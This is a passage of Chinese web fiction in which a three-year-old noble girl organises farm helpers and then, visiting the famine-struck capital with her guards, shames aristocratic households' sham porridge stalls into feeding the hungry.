他抬眼看向床上那小小的一团,脸上不由自主地漾开一抹与冷峻面容极不相称的、近乎慈爱的“姨父笑”,语气也放得软和了许多,“嘿嘿,小姐身量轻盈,比只野兔子也重不了多少。属下就是拼了性命,也定护得小姐万无一失,平稳抵达。大人和夫人尽管放心!”
……
“泥的脸……像……凉瓜,真难看。”
内室里,红袖听说这次进京不能带上自己,正一边抽抽搭搭地给阿沅收拾一个小包袱,里头仔细装着替换的两套衣服软袜、一小盒面霜、还有用油纸包好的桂花糖,一边哭丧着脸,嘴里低声讷讷抱怨,眼圈儿都红了,“小姐不在身边,奴婢这心里头……空落落的,怎么都不踏实。”
“窝又不四……去了不回。”阿沅看着红袖那副模样,学着大人样子无奈地摇了摇小脑袋,头上的揪揪也跟着晃荡。她又瞥见莲子一直缩在门口阴影处,虽然没敢像红袖那样直接表露不满,但小嘴抿得紧紧的,手指无意识地绞着衣角,满脸都写着“我也想跟去”的不高兴。
阿沅黑葡萄似的眼珠滴溜溜一转,忽然有了主意,小手一拍,脆生生道:“给泥们留个顶顶重要的任务!”
这话像颗小火星,瞬间点燃了莲子的情绪。她一下子从门边弹了过来,规规矩矩立正在红袖身旁,面向阿沅,眼睛亮得惊人,小身板挺得笔直:“请小姐吩咐!”那架势,激动得差点就要学着孟柒的样子单膝跪下去了。
红袖慢了半拍才反应过来,虽然还撅着嘴,脸上挂着未干的泪痕,语气却已是不由自主地顺从,还带着点委屈巴巴的鼻音:“小姐说的……奴婢都听着呢。”
“你们俩,得空就出去,给我挑人。”阿沅笑得眉眼弯弯。
她心里拨着自己的小算盘:眼看就要到五月底了,空间里那茬稻子又快能收了,等回来立马就能育种。按空间里那快得惊人的速度,从撒种到秧苗能移栽,最多也不过十天光景。现在干活的人手还没着落呢,正是该提早预备起来的时候啦!
“挑人?挑什么样的人?要力气大得像牛犊子的么?还是要机灵的?得挑几个呀?”莲子一听,嘴里像点燃了一串小鞭炮,“噼里啪啦”轰出一连串问题,小脸上满是跃跃欲试的兴奋,丝毫没怀疑她们两个半大丫头加起来才十三四岁,有没有这“选人”的本事和威信。
红袖的脑子显然还没完全转过弯来,但她那双湿漉漉的眼睛始终没离开过小姐的脸,努力想从阿沅的表情里读出更多意思。
“要听话的,肯下力气干活的,最好……原本就会伺候庄稼地的。”阿沅晃着小揪揪,认真地思考着,又补充道:“嗯……也得要脑子活泛、手脚麻利的。还有,手劲儿得大些。”
她想起空间里那些绿油油的秧苗,没有那现代的“插秧机”,或许可以试试“抛秧”的法子?那可就全靠手腕的巧劲和力气了。
“这个……奴婢晓得了。小姐大约要选几人?”红袖终于跟上了思路,不假思索地接话,还提出了自己的见解,“既要手劲儿大,怕就不能选年纪太小的娃娃,力气还没长足呢。”
第80章 选小跟班
莲子听了有点不服气,急急反驳:“小姐明明更喜欢选半大年纪的!不选老人。我看大牛哥、二牛哥就挺好,黑丫姐姐也勤快,他们都合小姐的眼缘!”
“可会种地、懂得节气土性的,多半都是田里的老把式了,就像林庄头那样有经验的。难道……连林庄头也不用么?”红袖难得顶了莲子一句,自觉是站在“实务”的角度,说完便挺了挺胸脯,一脸“我说得在理”的表情,眼巴巴等着小姐裁决。
阿沅被她俩这么一问,微微一愣,小眉头蹙了起来,小声嘀咕:“好像……红袖说的,也有点道理哦!”
可她心里确实大牛、二牛那样鲜活用机灵的半大少年,黑丫姐姐嘛,虽然有点倔,但是有想法,敢说敢干。
想着自己小手一挥,身后呼啦啦跟着一群精神抖擞的小跟班,那场面……一定威风极了。
“噗嗤”一声轻笑从门口传来。在门外听了半晌的柳氏,觉得里头小丫头们一本正经的“议事”模样实在有趣,终于推门走了进来。
她先是用指尖虚点了点红袖和莲子,眼中带着笑意,随即一锤定音:“这有何难?回头让林庄头去跟庄子里的人说一声,这段时日,地里的事都听小姐的安排便是。小姐出门干事,再让七叔或者哪个稳重的家丁跟着压阵,看谁敢不听你这个‘小主子’的?”
说着,她走到床边,一抄手将还在苦思冥想的女儿抱进怀里,轻轻掂了掂,才温声继续道:“不过啊,娘亲的小操心包,这事儿光靠你们选几个人可不行。
咱们嘉禾庄就有两百亩地呢,真要动起来,庄子上现有的佃户、劳力,自然全都得用上。若撇开他们,只挑几个新人,那些老实本分的庄稼人,怕是心里要犯嘀咕,以为主家嫌弃他们,不肯让他们沾这新庄稼的光了呢。”
“可是……那样的话……”阿沅靠在娘亲温暖的怀里,小眉头却皱得更紧了,有点泄气地拉长了语调,忽然觉得自己的“将军梦”好像还没开始,就要被“现实”收编了。
柳氏瞧出女儿的失落,用下巴轻轻蹭了蹭她柔软的额发,声音放得更柔:“放心,你爹爹早发过话了,这一季无论种什么、怎么种,全由我们阿沅说了算。你是咱们家的小禾宝,谁都不能越过你去,爹爹和娘亲给你撑腰。”
“小禾宝?”这个说法好新鲜,阿沅莫名有点喜欢。
“三岁小娃,就想着如何伺候庄稼,种植禾苗,可不就是小禾宝吗?”鼻尖被轻轻碰了一下,阿沅一脸兴奋。
其实孟大川私下跟柳氏说的原话是:“银子咱家还有些,田地也薄有资产。这季就让阿沅放开手脚去折腾,几个庄子的地随她高兴怎么弄。成了,是咱们阿沅的造化;不成,大不了就当少收一季粮食,哄孩子开心最要紧,算不得什么大事。”
“那……好吧!”阿沅终究还是坚持自己最初的想法,在柳氏怀里扭了扭身子,伸出小手指头数着,“莲子说的那几个人,大牛、二牛、黑丫,我都要。二叔婆,她笑眯眯的,阿沅也喜欢。”
她心里的小算盘拨得哗哗响:好几个庄子呢!秧苗种下去只是开头,往后浇水、除草、追肥……事情多着呢。忙起来身边没几个既聪明肯干、又对她忠心耿耿的“自己人”怎么行?
这几个人,不管是当传话筒,还是手把手教别人,或是帮忙聚拢人心、鼓动大家,肯定都用得上!
想到这里,她又觉得自己的“种田的禾宝将军”麾下,还是能有几个得力“副将”的。
本以为比较崎岖难行的进城路,实际走起来才发现,不过是多费了半日的工夫,便已望见了那巍峨的城门楼子。积雪覆盖的官道虽显泥泞,但比预想中好走许多。
即使带着阿沅这个小不点,一行人全程也未乘坐马车。起初,阿沅被裹在厚厚的狐裘里,安顿在绿果身前,两人同乘一骑。
小姑娘鲜少骑马,兴奋得小脸通红,唯一露在外面的一双乌溜溜眼睛左顾右盼,看什么都新鲜,时不时伸出带着绒手套的小手指点着路边的雪挂冰棱,发出“呀”、“哇”的惊叹声。
绿果一手稳稳揽住她,一手控缰,脸上带着温柔的笑意,不时低头在她耳边轻声解说。
越往前走,地势渐高,待到翻越那两座依然冰雪毫无消融迹象的山头时,连最健壮的骏马也踟蹰不前,打着响鼻,在深及马腹的雪地里艰难挪步。
按原计划,阿九和十一只能就此止步,带着所有马匹原路返回。临别时,阿沅还不舍地朝他们挥了半天手,小嘴抿得紧紧的。
接下来的路程,孟沅便彻底成了孟柒、十五和十六“腋窝里的红薯”,绿果着单身紧紧跟随。他们三人皆是身手卓绝,轮流将她夹在臂弯里,施展轻功,踏雪无痕。
多数时候,他们直接于覆雪的松柏枝梢间借力飞纵,身形起落如大鸟,偶尔才会借助简易的滑雪板在开阔的雪坡上滑行一段。
风声在阿沅耳边呼呼作响,下方的雪原树木飞速倒退,起初她还觉得新奇刺激,咯咯笑个不停,小手紧紧抓着叔叔们的衣襟。但时间一长,目之所及尽是茫茫白色,晃得人眼睛发酸生疼,连只飞鸟或松鼠的踪影都难寻觅,最初的兴奋便渐渐被疲惫和单调取代。
后来她乖乖听了话,紧紧闭起眼睛,将小脸埋进带着体温的衣料里。冰天雪地的寒意与耳边持续的风声竟成了奇特的催眠曲,她在这一颠一簸、忽高忽低的“飞行”中,不知不觉沉入了梦乡。
第81章 生闷气
不知过了多久,阿沅在一种温暖而平稳的晃动中悠悠转醒,发现自己又回到了马背上,依旧被绿果圈在身前。只是马已换过,同来的四位叔叔也都有了新的坐骑。
她迷迷糊糊地揉了揉眼睛,从裹得严实的大氅里探出小脑袋,只见七叔身旁,不知何时多了两位身着玄色劲装、面覆黑巾的骑者。两人身姿挺拔,气息沉稳,正与孟柒低声交谈。
“这四……十七叔和十八叔吗?窝……窝四阿沅哦!”刚睡醒的声音带着浓浓的鼻音和奶气,她努力说得清晰些,还举起被厚厚手套包裹得像个小馒头似的手,朝着新来的两人热情地挥了挥,算是打招呼。
“哈哈!”其中一位黑衣人朗声笑了起来,声音爽利,“十七叔和十八叔还没人排得上号呢,我是你八叔!”
另一位声音则略显低沉些,但也透着亲切:“小姐,在下行十二,是你十二叔。”
两人虽遮着面容,但眉眼弯弯,目光炯炯,语气里满是见到小辈的欣喜。阿沅心想,果然爹爹手下这些叔叔们,脾性都差不多,都是这般刚毅、爽朗又正直,让人见了就心生信赖和亲近。
“城外怎么没见施粥?”阿沅忽地想起一事,仰头问绿果,也像是问几位叔叔。
这段时间她常听爹爹和娘亲忧心忡忡地谈论灾情,按他们的说法,这种时候,城门外早该有官府或大户人家搭起粥棚救济灾民了。可一路行来,莫说粥棚,连个像样的聚集点都未见着,只有三三两两面黄肌瘦的百姓瑟缩在寒风里。
即便到了高耸的城墙根下,景象也依旧冷清萧索,不少衣衫褴褛的灾民聚拢在紧闭的城门附近,却似乎无法入城。方才他们一行,若非亮出安平侯府的令牌,恐怕也要被拦在城外。
“施粥的都在城里呢!”孟捌接过话头,语气里满是不忿,“皇帝钦点了太子亲管赈灾事宜,可听说咱们这位太子爷,至今还舒舒服服窝在东宫里,等着这老天爷自己把雪化干净呢!哪会管城外百姓的死活!”他越说越气,握着马缰的手都不由收紧了些。
“应该饿他三天!”阿沅听得小眉头拧成了疙瘩,果然杨大儒说的都是真的,那太子就不是好东西。想起那些冻饿交加的灾民,心头火起,一句气话脱口而出。
话音刚落,嘴就被身后的绿果轻轻捂住。“小姐!”绿果低声提醒,语气有些紧张。前方的孟柒也回过头,虽隔着距离,目光却带着不容置疑的严肃,沉声道:“小姐,慎言。”
就因着这句话和这份憋闷,阿沅是鼓着腮帮子,气呼呼地进的宅门。小嘴噘得能挂油瓶,一路都没再吭声。
他们依旧下榻在离安平侯府只隔两条街的那座清静宅院。显然留守的人早已得了消息,一切准备妥当。热腾腾的洗澡水、暖胃的饭菜及时奉上。
舒舒服服泡了个热水澡,洗去一身寒气与疲惫,再饱餐一顿,外头的天色又开始转暗,沉沉地压了下来。
“小姐,”孟柒没有进屋,立在廊下,洪亮的声音清晰地传到屋内,“看路上的情形,没有个七八天,官道难以通畅跑马,更遑论马车了,他们回不来。您且安心好好休息几日,我们在此一两日再做打算不迟。”
“那窝……”阿沅坐在暖炕上,抱着小手炉,正琢磨着明天可以去哪儿瞧瞧,孟柒的声音又悠悠传了进来,打断了她的话头:“明日,在下需往衙门走一遭。上次庄子过户的手尾还有些未料理完。”
“哦!那窝……”阿沅眼睛一亮,本想说自己可以跟着去衙门见识见识,她还没见过真正的古代衙门是什么样呢,是不是像戏文里演的那般威武森严。
“小姐若要出门,身边至少需跟足三人。”孟柒的声音再次不容置疑地响起,彻底截住了她的话,“绿果,十五,十六,你们须得看好小姐,务必寸步不离。”
接连两次被打断,阿沅心里那点小脾气又上来了。她瘪了瘪嘴,把后半句话咽了回去,闷声闷气道:“那……窝们明天……叽叽去玩。”
说着,便赌气似的蹬掉鞋子,一股脑儿钻进柔软的被褥里,连绿果端着热水给她漱口都不理了。
直到夜深,睡意朦胧间,她还无意识地嘟囔着梦话,小拳头在枕边轻轻握了握:“七叔讨厌……讨厌……不给泥买好柒东西……,气屎你……”
小家伙梦中还在进行无力的“报复”。
第82章 我要喝……粥
吃早饭的时候,她坐在高高的椅子上,小短腿一下一下地晃荡着,手里捏着半个小包子,眼睛却滴溜溜地在饭厅里转了一圈,确认七叔真的不在,但随即就被眼前热腾腾的粥吸引了注意。
“小姐是想买什么?今天去布庄还是买好吃的?”阿沅依然被裹了个严实,只露出白白嫩嫩的一张脸,像个雪团子,浑身上下只一双乌溜溜的大眼睛露在外面,灵动极了。
直到准备出门,绿果让人备了车马,才俯下身,轻轻替阿沅整理了一下帽檐上的绒毛,柔声问询。
按照她的想法,小姐虽然是个小人精,主意大得很,但毕竟年纪小,小娃娃的心思无非就是想买点漂亮的衣裳或是好吃的零嘴儿,自己所猜应当八九不离十。
“先去城东,然后往城南……堪堪。”阿沅奶声奶气,却又慢条斯理,小脑袋还微微偏着,似乎在回想什么,说出的方位竟带着一种奇异的笃定,不像是信口而来。
连各坐一骑、一向沉默寡言的十五和十六都忍不住对视了一眼,从对方眼中看到了讶异。
“是,小姐。”却没人提出一个字的质疑,阿沅被绿果小心抱上了车,马车缓缓由西向东驶去。车轮碾过青石板路,发出辘辘的声响。
由庄子一路而来,见到的都是灾后的满目疮痍,许多庄子死的人比活的还多,收敛埋葬都缺少人手,一片凄惶。官府不但没施出援手,还在城门多增加了一道关卡,限制百姓进入,更添了几分凝重。
昨日从北城门进入,沿途的粥棚不下十家,越是接近勋贵所住的城西,领粥的百姓越少,阿沅觉得奇怪极了,小眉头都蹙了起来,这也是她想出去一探究竟的原因。
“走走走,哪来的乞丐,城西是你们能待的地方?要吃到城北城南领去!”
听到这句粗鲁的呵斥,阿沅立刻掀起了帘子一角,绿果也连忙凑了过去。
十五则在前面已经小声骂开了,拳头捏得咯咯响:“见势欺人的狗东西!不给吃装什么善人!那锅里的粥都快糊了也不见施一碗!”
车夫也叹息摇头,低声道:“还皇子府呢!不过是摆个样子,哗众取宠而已,根本就没把百姓当人看,心都是冷的。”
“四哪个皇子府呀?窝去试试,”阿沅眨巴着大眼睛,那粥不给百姓吃,难道留给贵人吃的?可是阿沅话音刚落,绿果和十五、十六三道声音同时出言制止,急切又整齐,“小姐,不可。”
然后马车并未停留。
“停!泥们……不听话……窝告诉爹爹。”阿沅做势就要往车下跳,小身子一扭一挣,把绿果吓得魂飞魄散,连忙大喊“快停车”,声音都变了调。
车夫随即“吁”了一声,紧急勒马,好在马车本就走得不快,停得还算平稳,只是微微颠了一下。
十五和十六慌忙下马,还想劝阻,但阿沅已经伸开双臂,小脸板着,一副“不达目的不要休”的架势。绿果只能抱她下车,却不敢让她落地,依然紧紧抱着,生怕一松手这小祖宗就冲过去了。
“去,窝……肚肚饿了!”阿沅小手指向对面路口的粥棚。
那粥棚搭得倒是齐整宽大,两口大锅冒着似有若无的热气,三四个小厮和婆子或坐或站,正闲磕牙。
虽有衣衫褴褛的穷苦百姓围观,眼巴巴地望着,却没见一个真正领到粥的人,还不时被驱赶。
绿果闻言,心里暗暗苦笑,若不是刚刚亲眼看着、亲手侍奉小姐吃了一小碗熬得香浓的肉粥,外加五六个玲珑可爱的小笼包,这会儿抱着都觉得小姐的肚子还圆鼓鼓、暖呼呼的,还真要被小姐这一本正经的“没吃饱”给骗了过去。
“小姐,我们这么过去,也不像灾民啊!”十五挠了挠头,看着自己身上浆洗得干净挺括的棉衣,有点犹豫。十六也低头看了看自己的装束,没有动。
他们三人虽然穿的虽然不是绫罗绸缎,但也是质地密实、毫无补丁的精细棉布,因为要进城,还特意选了最新的穿,怎么看也与周围面黄肌瘦、衣衫褴褛的灾民格格不入。
再看小姐那一身,粉嫩色蜀锦小袄衣裙,上面用银线绣着精致的缠枝小花,在晨光下隐隐泛着柔和的光泽。袖口、领口、帽檐还镶嵌了一圈洁白光润的狐狸毛,衬得那张小脸愈发玉雪可爱。
这活脱脱就是侯府里千娇万宠的嫡出大小姐装扮,跟那两口灰扑扑的施粥大锅,简直是两个世界。
就这样子,谁敢给他们粥吃呀?吃死人可是要偿命的。
十六放柔了声音,试图转移她的注意力:“小姐,前面不远就是稻香斋了,那里的糕点在京城可是排第一的,啥口味都有,还酥香可口,我们不如去那儿?”
意思再明白不过,想吃什么好吃的,往那买去便是,何必在此受气。
“窝就吃粥!过去。”阿沅小嘴一抿,下巴微微扬起,就不信这个邪,手指的方向非常坚定,就那家了。
她也没再挣扎着要下来,只是隔着一条马路,气鼓鼓地瞪着那边,意志很坚决。
他们谁都不会任由她这三岁小娃自己走过去,那就抱着走呗,她心里也门儿清。
“吃他一碗粥怎么了?奴婢就不信他们会赶人。”终于被小姐那股子执拗劲儿感染,绿果心头也涌上一股不平之气,抱着小姐噔噔噔就往前面走,脚步踩得结实,气势都理直气壮了几分。心想,自家小姐何等金贵,肯吃你一口粥,那是你的造化!
十五和十六见状,知道拦不住,只得连忙跟上,手不自觉按在了腰间的刀柄上,眼神警惕地扫视着四周。
……
“放窝下来!”距离粥棚还有几来步的时候,阿沅在绿果怀里扭了扭,挣扎着要下地。
绿果刚把她放下,她便噔噔噔迈着小短腿,径自就往那两口大锅冲去,一手叉着腰,一手指着其中一口大锅,仰着小脑袋,努力拿出最凶的架势:“窝……要喝粥!”声音奶凶奶凶的,活脱脱一个被宠坏了、颐指气使的小大小姐模样。
她却没得到粥棚里那些正嗑着瓜子、扯着闲话的婆子小厮的半点回应。他们似乎根本没听见,或者听见了也懒得搭理,连眼皮都没多掀一下。不知道是真没注意,还是根本就没有服务的意识?
倒是旁边围观的百姓中,有人觉得好笑,有人嗤笑出声,带着几分酸楚和嘲讽:“哎哟,这位小姐,这粥可不是给您这富贵人吃的,我们这些穷人啊,也不配吃哟。”这话引来一阵压低了的、含义复杂的哄堂大笑。
阿沅两只小手都叉到了腰上,挺起小胸脯,气势更足了,乌溜溜的眼睛瞪得圆圆的,冲着里面的婆子小厮大声喊:“泥们想屎吗?”
敢不理本小姐,后果很严重!那认真的小模样,仿佛真的在思考怎么让他们“好看”。
这回里面的终于有人懒洋洋地往外瞥了一眼,可视线略高,只看到离着还有四五步远、一脸怒色的绿果,还有距离七八步远、抱臂而立、神情冷肃的两个黑衣护卫,愣是没瞧见还没大锅高的阿沅。
那小厮又转回头,对同伴撇撇嘴,不耐烦道:“哪来的?不相干的人!别理。”
“泥们,耳朵聋了吗?没看见窝?”阿沅感觉自己被彻底忽视了,小脸蛋气得微微泛红,踩着脚又往前凑了两步,几乎要碰到那滚烫的锅沿。
“小姐,你都没有这支起来的锅台高呢,吃什么粥呀?回家喝奶去吧。”一个混不吝的声音从人群里传出来,带着戏谑,又是一阵压抑不住的哄堂大笑。
第83章 微服私访?
“你们耳聋眼还瞎不成?没看见我们小姐要喝粥吗?”绿果生怕小姐气出个好歹来,赶紧上前一把将阿沅护在身侧,自己也来了脾气,声音拔高了几分:“我们小姐不配吃你们一碗粥吗?赶紧的!别磨蹭!”
“不四一碗,四五碗!”阿沅趁机又伸出手指,先指了指自己,又指向已经快步跟上、一左一右如同门神般站定的十五和十六,最后连绿果和车夫也没落下。
四个大人加上一个奶娃娃,这组合本就奇特,再加上十五、十六腰上明晃晃的佩刀,脸色沉凝,果然很能唬人。
一个原本坐着、体态肥胖的婆子见状,眼皮一跳,连忙扔掉手中未嗑完的瓜子,两手往腰上拍了拍并不存在的灰尘。
她肥胖的身子探过那两口大锅,看见了阿沅,只稍愣了瞬间,脸上瞬间堆起了近乎谄媚的笑容,急急招呼身边还在发愣的小厮:“哎哟喂!没点眼力见!还不快点伺候着!”
阿沅趁机又瞪了那婆子一眼,努力做出凶巴巴的样子吓唬人:“快点!窝饿!”小手还拍了拍自己的肚子,虽然那里一点也不瘪。
两个小厮这才不情不愿地动了动身子,嘴里还低声嘟囔抱怨:“这……这哪个府上来找茬的吧?穿得这般光鲜……”
“闭嘴!”那肥胖婆子压低了声音,急急呵斥,眼神却不安地瞟向周围看热闹的百姓,“殿下怎么吩咐的忘了吗?赶紧的!找茬的可不会派个三岁小娃来!你们瞧瞧这小小姐的气度!”
她一边说,一边偷眼打量着阿沅那身价值不菲的打扮和浑然天成的骄纵模样,“能上杆子来吃碗带米糠的稀粥,不是……那微服私访的贵人是啥?没准……没准当朝宰相还是户部尚书就混在人群里看着呢!”
她越说越觉得可能,自己先吓出了一身冷汗。
这话如同惊雷,在两个小厮耳边炸响,他们的腿不由自主地颤了颤。一个连忙挤出笑容,小跑着上前,弯腰躬身,语气变得无比恭敬:“这位尊贵的小姐,您这边请,这边坐,粥马上就来,马上就来!”
另一个,则转身就往棚子里钻,手脚麻利地张罗起来。
阿沅都还没在婆子慌忙用干净布巾擦了又擦的凳子上落座,那婆子已经点头哈腰,形容无比狗腿,仿佛眼前不是个三岁娃娃,而是了不得的大人物。
没一会儿,一个小厮提着个锃亮的铜茶壶小跑过来,五个看起来颇为精致的白瓷茶碗在他们面前一字排开,斟出的居然是茶色清亮、散发着淡淡花香的花茶,与这简陋的粥棚格格不入。
紧接着,两碗冒着腾腾热气、明显比寻常施粥浓稠许多、甚至能看到些肉末的粥被端上了桌面。
那婆子又不知从哪儿变戏法似的端来两碟精致的糕点,杏仁酥色泽金黄,桂花糕莹白如玉。她对着阿沅几人鞠躬屈膝,态度恭顺得近乎卑微。
“咦!还有杏仁酥和桂花糕?”即使是从不缺吃喝的阿沅,看见这突然出现的、明显不是施粥内容的点心,也有点嘴馋了,黑亮的眼睛里闪过一丝好奇。
虽然没有马上上手去拿,但刚才被忽视的闷气,眼见着隐隐压下去了一半,小脸上的神情也缓和了些。
但她投向那婆子的目光里,依然带着毫不掩饰的鄙夷,小鼻子轻轻“哼”了一声,心里嘀嘀咕咕:“看人下菜的狗奴才,变脸比翻书还快!后面的主子肯定也不是什么好东西!”
小孩子心性上来,阿沅正想大快朵颐,小手指已经拈起一块杏仁酥,正要往那红润润的小嘴里送,却忽然瞥见周围已经悄悄围拢过来、靠近了不少的那些百姓,不少人手里都拿着个空碗。
她的动作顿住了,杏仁酥悬在嘴边,乌溜溜的大眼睛扫过那一张张写满渴望与憔悴的脸,马上额头轻轻皱了起来,那好看的眉毛像两片小小的羽毛拧在了一起。
城中的百姓衣着比一路来看见的灾民是好上一些,但也不过是补丁摞着补丁,洗得发白的旧衣,看着单薄得很,根本抵不住这冬末的寒意。
他们大多身形枯槁,面有菜色,显然也不是能餐餐吃饱饭的样子。有的人眼巴巴地望着他们桌面上那两碟油光润泽、香气隐隐飘散的精致糕点,喉头不自觉地上下滚动,使劲咽了咽口水。
那眼神让阿沅觉得手里的糕点都有些烫手了。
“不给他们施粥么?”阿沅不看那几个瞬间变得殷勤备至的婆子和小厮,只把小脸转向那两口依旧“热腾腾”冒着些微白气、却无人敢上前的大锅,奶声奶气地问道,语气里带着明明白白的困惑和不满。
“施!自然是施的!小姐明鉴,我们三殿下宅心仁厚,最是体恤百姓,从这雪灾第三日开始,就下令在此设立粥棚,天天施粥,从不间断,风雨无阻哇!”
那肥胖婆子应是这里主事的,此刻笑得一脸谄媚,脸上的褶子都挤成了一朵菊花。她心里正七上八下地打着鼓:哪里还敢怠慢?
瞧这排场,这气度,不知是哪个一品大员家中的千金,搞不好还是皇亲国戚呢!三岁就能被派出来“体察民情”,这背景怕是深不可测!她恨不得把自家主子夸出一朵花来。
她马上换了一副看似和蔼可亲的嘴脸,转向外面围观的百姓,提高了嗓音,力图显得亲切:“哎呀,都愣着干什么?还不快点拿粥碗来排队!这粥刚刚煮好,正热乎着!大家久等了,久等了!”
她挥着手,仿佛刚才呵斥驱赶人的根本不是他们。
人群里先是一静,随即传来一阵低低的、带着不敢置信的欢腾,甚至有人兴奋地吹起了短促的口哨。铁锅、陶瓷碗碰撞的叮当声立刻响成一片。
方才还畏缩不前的百姓们蜂拥而上,转眼间两口锅前排成了两条歪歪扭扭却充满急切的长龙。
还有人闻讯从对面的小巷、街角不断往这边跑来,队伍眼见着越来越长。原来并不是城中没有灾民,而是有人在故意粉饰太平。
很快有人分到了粥,但也马上有人质疑:“这哪是粥啊!米都没有几粒,怎么像是涮锅水?”
第84章 呵呵!有点意思,小爷跟去看看
阿沅低头看看自己面前那碗明显加了料的“肉粥”,又看看手里拈着的杏仁酥,眼珠转了转,将酥饼送到嘴边,轻轻咬了一小口,细细嚼着,然后抬起小脸,给那正紧张盯着她的婆子一个天真无邪、甚至带着点甜意的虚假笑容。
接着,她又来了一句,声音不大,却字字清晰:“好婆婆,记得给他们也分这样的肉粥哦,”她用小勺子指了指自己碗里可见的肉末,“还有这甜甜的糕点,香香的,是不是也每人都有呀?冷冷,大家饿饿。”
那婆子脸上谄媚的笑容瞬间僵住,仿佛被冻住了一般,眼里的惊惶几乎要溢出来。
但她到底是在贵人府里历练过的,脸上的肌肉抽搐了几下,那僵硬的笑纹很快又强行聚拢在一起。
是笑容变得比哭还难看,一下说话都开始不利索了,结结巴巴地道:“这……这位小姐有所不知,这……这第一锅,第一锅都是先让大家暖暖胃,垫垫肚子,接下来……接下来就都是这样的肉粥了,对,肉粥!”
她再偷眼看看眼前这位仿佛不谙世事、只顾着一口接一口品尝糕点、摇晃着小短腿的大小姐,心里暗暗叫苦不迭,肠子都快悔青了。
我的大小姐欸!我的小祖宗!这两碟点心还是主子一时高兴,赏给我们下人的,一碟就得几两银子,寻常百姓哪见过这个?
这么撒出去,爷回头查问起来,还不得扒了我的皮,抽了我的筋!
但她眼珠子骨碌一转,急中生智,马上又转向排队等待、此刻因为听到“肉粥”和“糕点”而更加翘首以盼的百姓,提高了声音,带着几分夸张和明显的心虚承诺道:“大家别急!过了午时,过了午时就开始派发肉包子!大肉包子!不过可都排好队,守规矩,迟了没领到,那可怪不得婆子我了!”
“是不是天天都有肉包子啊?”人群里马上有人扯着嗓子问,声音带着几分戏谑和不信。
“别不是,就发今天这么一回,糊弄人吧?”另一个声音紧接着响起,充满了质疑。
阿沅听得出,那分明是十五和十六变了调的声音混杂在人群里,她嘴里香甜的糕点顿时觉得更甜了两分。
小脸上那“奸计得逞”的小得意几乎要藏不住了,只好努力板着,小肩膀却几不可查地轻轻耸动了一下。
婆子听得心头一颤,额角冒汗,骑虎难下,只能硬着头皮,拍着胸脯保证:“哪能呢!哪能呢!我们三殿下仁德……自然是……自然是天天都有的!大家放心!”
她这话说完,连同旁边正在舀粥、耳朵却竖得老高的两个小厮,腿都忍不住颤了颤,后背发凉,心里直打鼓:完了完了,这话放出去了,收不回来了,回去会不会被主子乱棍打死啊!
“呵呵,有意思。”对街茶楼二楼,临街的窗台边,看了许久的两个人中,那位身着不起眼青色常服、年纪最多不过十岁的小公子忽然轻笑出声,来了兴致。
他面容尚显稚嫩,但一双眼睛却颇为沉静明亮。他的目光久久停留在楼下那个又拈起一块桂花糕往嘴里塞,一边吃一边还不忘偷偷观察粥棚动静,摇晃着一双够不着地的小短腿,明明是一脸天真模样,眼角眉梢却泄露出一丝“奸计得逞”般小得意的小福娃身上。
他嘴角轻轻弯起一个玩味的弧度,嗤笑出声,低语道:“倒是个小人精。”
他侧头对身边身材高大、气息沉稳的随从道:“去,小爷跟去看看,这究竟是谁家的小姐。小小年纪,心思就如此机巧深沉,步步为营,硬是逼得那奴才改了章程……怕不是得了哪家大人的授意,特意来此‘扬名’或‘揭短’的也未可知。”
“是!六……爷!”随从躬身应声,并无多言,立刻转身下楼安排车马,动作干脆利落。
还是肚子太小。
那碗热腾腾的肉粥,阿沅只勉勉强强喝了几小口,米粒软糯,但她
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觉得味道淡淡的,远不及府里红袖偷偷给她拌了糖的甜粥好喝。
那几块摆在粗瓷盘里的糕点,应是宫里的东西,看着很是精致,却有点凉意。她用小手指头戳了戳,才好奇地拿起一块,小口小口地啃着,像只试探新食物的小松鼠,吃了一块便觉得口干,也腻了,摇摇头推开。
再站起身时,那胖婆子简直像送走了什么大菩萨,手脚麻利得惊人,把桌上剩下的糕点用油纸包得整整齐齐,满脸堆着几乎是感恩戴德的笑容,千恩万谢地塞到绿果手里,又殷勤无比地将她们主仆送上了马车,腰弯得都快贴到地上了。
马车辘辘走了,阿沅忍不住扒着车窗,从车帘的缝隙里偷偷往后瞧。只见那刚才还笑成一朵花的胖婆子,这会儿正用力拍着自己圆滚滚的胸脯,长长地、重重地呼出一大口气,肩膀都垮了下来。
她一脸如释重负,嘴里肯定在嘀嘀咕咕,说不定就在心里暗骂:阿弥陀佛,总算是送走了这个小“瘟神”,可别再来了!
继续往前走,还是在城西地界,阿沅那双乌溜溜的大眼睛又骨碌碌转了起来,忽然有了逗弄之心,嫩生生的小嗓子再次叫了停。
她下了车,背着小手,迈着其实不太稳当却偏要装出大人模样的小步子,晃晃悠悠地走到了顺国公府的施粥点前。用那几乎成了招牌的、眨巴着大眼睛的无辜神情,和奶声奶气却总能噎**的话语,故技重施。
结果嘛,自然又是成功的——她只白吃了几口那家的粥,撇了撇嘴,嫌肉沫太少,但却为眼巴巴排队的灾民们“讨”来了每天一顿油星多多的羊蝎子粥的承诺。
临走时,她那视线像是黏在了人家丫鬟刚刚买回来,红艳艳、亮晶晶的冰糖葫芦上。于是,顺理成章地,她“顺”走了足足十串糖葫芦,自己小手抓了两串,剩下的全让绿果拿着,过足了“钦差大臣”的瘾,才心满意足地回了马车。
第85章 逛逛城南
过了城东,景象果然不同。
施粥点一下多了起来,棚子搭得也齐整。每一家粥棚前,领粥的人虽不像赶集那样拥挤,但也三三两两,络绎不绝。
他们穿着打扮各异,有破衣烂衫、补丁摞补丁的,也有衣服虽旧却浆洗得干净的。
没人会去仔细盘问或追究他们到底是不是真灾民,反正来了就能领上一大勺。那些衣衫单薄得在冷风里直哆嗦的,还能额外得到一件半旧却厚实的衣衫。
空气里弥漫着真实的米粥香气和人间烟火气。
“小姐,听人说前头那可是皇商唐家设的施粥点,粥熬得能插筷子不倒!要不要……再下去‘尝尝’?”十六又开始扯着嗓子吆喝起来,声音洪亮得恐怕对面街都能听见,语气里那点子戏谑和看好戏的意味,简直掩都掩不住。
哪里是正经传话,分明是在逗弄他家这位小主子。
“肚肚……装不下了嘛。”阿沅揉了揉自己圆鼓鼓的小肚子,眯起眼睛,像只慵懒又餍足的小猫。她知道十六在打趣她,可眼下确实没“证据”反驳——小肚子被几口粥和糖葫芦塞得满满当当,实在没地方再装别家的“尝鲜”了。
